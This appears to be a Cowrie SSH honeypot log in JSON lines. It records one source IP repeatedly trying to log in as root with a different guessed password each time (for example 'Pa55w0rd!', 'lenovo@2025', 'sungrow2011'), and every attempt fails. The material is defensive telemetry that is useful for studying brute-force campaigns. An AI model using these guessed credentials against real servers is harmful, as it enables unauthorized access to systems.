{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:37.405204Z","src_ip":"60.165.124.241","session":"03df1e7fd547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"msconfig","message":"login attempt [root/msconfig] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:38.171682Z","src_ip":"60.165.124.241","session":"03df1e7fd547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:39.432338Z","src_ip":"60.165.124.241","session":"03df1e7fd547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53920,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed48619a7420","protocol":"ssh","message":"New connection: 60.165.124.241:53920 (10.17.0.5:22) [session: ed48619a7420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:39.651104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:39.656789Z","src_ip":"60.165.124.241","session":"ed48619a7420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:39.894946Z","src_ip":"60.165.124.241","session":"ed48619a7420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55w0rd!","message":"login attempt [root/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:40.619776Z","src_ip":"60.165.124.241","session":"ed48619a7420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:41.861036Z","src_ip":"60.165.124.241","session":"ed48619a7420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57174,"dst_ip":"10.17.0.5","dst_port":22,"session":"08bc33bbe85d","protocol":"ssh","message":"New connection: 60.165.124.241:57174 (10.17.0.5:22) [session: 08bc33bbe85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:42.092922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:42.097959Z","src_ip":"60.165.124.241","session":"08bc33bbe85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:42.334347Z","src_ip":"60.165.124.241","session":"08bc33bbe85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tizi@123","message":"login attempt [root/tizi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:43.048007Z","src_ip":"60.165.124.241","session":"08bc33bbe85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:44.290726Z","src_ip":"60.165.124.241","session":"08bc33bbe85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60040,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b6307de392","protocol":"ssh","message":"New connection: 60.165.124.241:60040 (10.17.0.5:22) [session: 23b6307de392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:44.544399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:44.549463Z","src_ip":"60.165.124.241","session":"23b6307de392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:44.796969Z","src_ip":"60.165.124.241","session":"23b6307de392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenovo@2025","message":"login attempt [root/lenovo@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:45.545363Z","src_ip":"60.165.124.241","session":"23b6307de392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:46.796125Z","src_ip":"60.165.124.241","session":"23b6307de392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34962,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf91a3381ea","protocol":"ssh","message":"New connection: 60.165.124.241:34962 (10.17.0.5:22) [session: 5bf91a3381ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:47.020854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:47.026082Z","src_ip":"60.165.124.241","session":"5bf91a3381ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:47.264349Z","src_ip":"60.165.124.241","session":"5bf91a3381ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin101","message":"login attempt [root/admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:47.983284Z","src_ip":"60.165.124.241","session":"5bf91a3381ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:49.228022Z","src_ip":"60.165.124.241","session":"5bf91a3381ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38102,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe1498b56e7","protocol":"ssh","message":"New connection: 60.165.124.241:38102 (10.17.0.5:22) [session: 6fe1498b56e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:49.461020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:49.465988Z","src_ip":"60.165.124.241","session":"6fe1498b56e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:49.703069Z","src_ip":"60.165.124.241","session":"6fe1498b56e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deneme123","message":"login attempt [root/deneme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:50.446048Z","src_ip":"60.165.124.241","session":"6fe1498b56e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:51.688068Z","src_ip":"60.165.124.241","session":"6fe1498b56e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40846,"dst_ip":"10.17.0.5","dst_port":22,"session":"574209ed6a95","protocol":"ssh","message":"New connection: 60.165.124.241:40846 (10.17.0.5:22) [session: 574209ed6a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:51.925226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:51.930444Z","src_ip":"60.165.124.241","session":"574209ed6a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:52.169537Z","src_ip":"60.165.124.241","session":"574209ed6a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sungrow2011","message":"login attempt [root/sungrow2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:52.894026Z","src_ip":"60.165.124.241","session":"574209ed6a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:54.140042Z","src_ip":"60.165.124.241","session":"574209ed6a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44078,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b197bcd2138","protocol":"ssh","message":"New connection: 60.165.124.241:44078 (10.17.0.5:22) [session: 5b197bcd2138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:54.370759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:54.375407Z","src_ip":"60.165.124.241","session":"5b197bcd2138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:54.611629Z","src_ip":"60.165.124.241","session":"5b197bcd2138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Abc","message":"login attempt [root/123456789Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:55.328089Z","src_ip":"60.165.124.241","session":"5b197bcd2138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:56.567860Z","src_ip":"60.165.124.241","session":"5b197bcd2138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7942ce5b4e3","protocol":"ssh","message":"New connection: 60.165.124.241:46954 (10.17.0.5:22) [session: f7942ce5b4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:56.817316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:56.822789Z","src_ip":"60.165.124.241","session":"f7942ce5b4e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:57.069762Z","src_ip":"60.165.124.241","session":"f7942ce5b4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasdzxc123.","message":"login attempt [root/Qweasdzxc123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:29:57.811043Z","src_ip":"60.165.124.241","session":"f7942ce5b4e3","protocol":"ssh"}
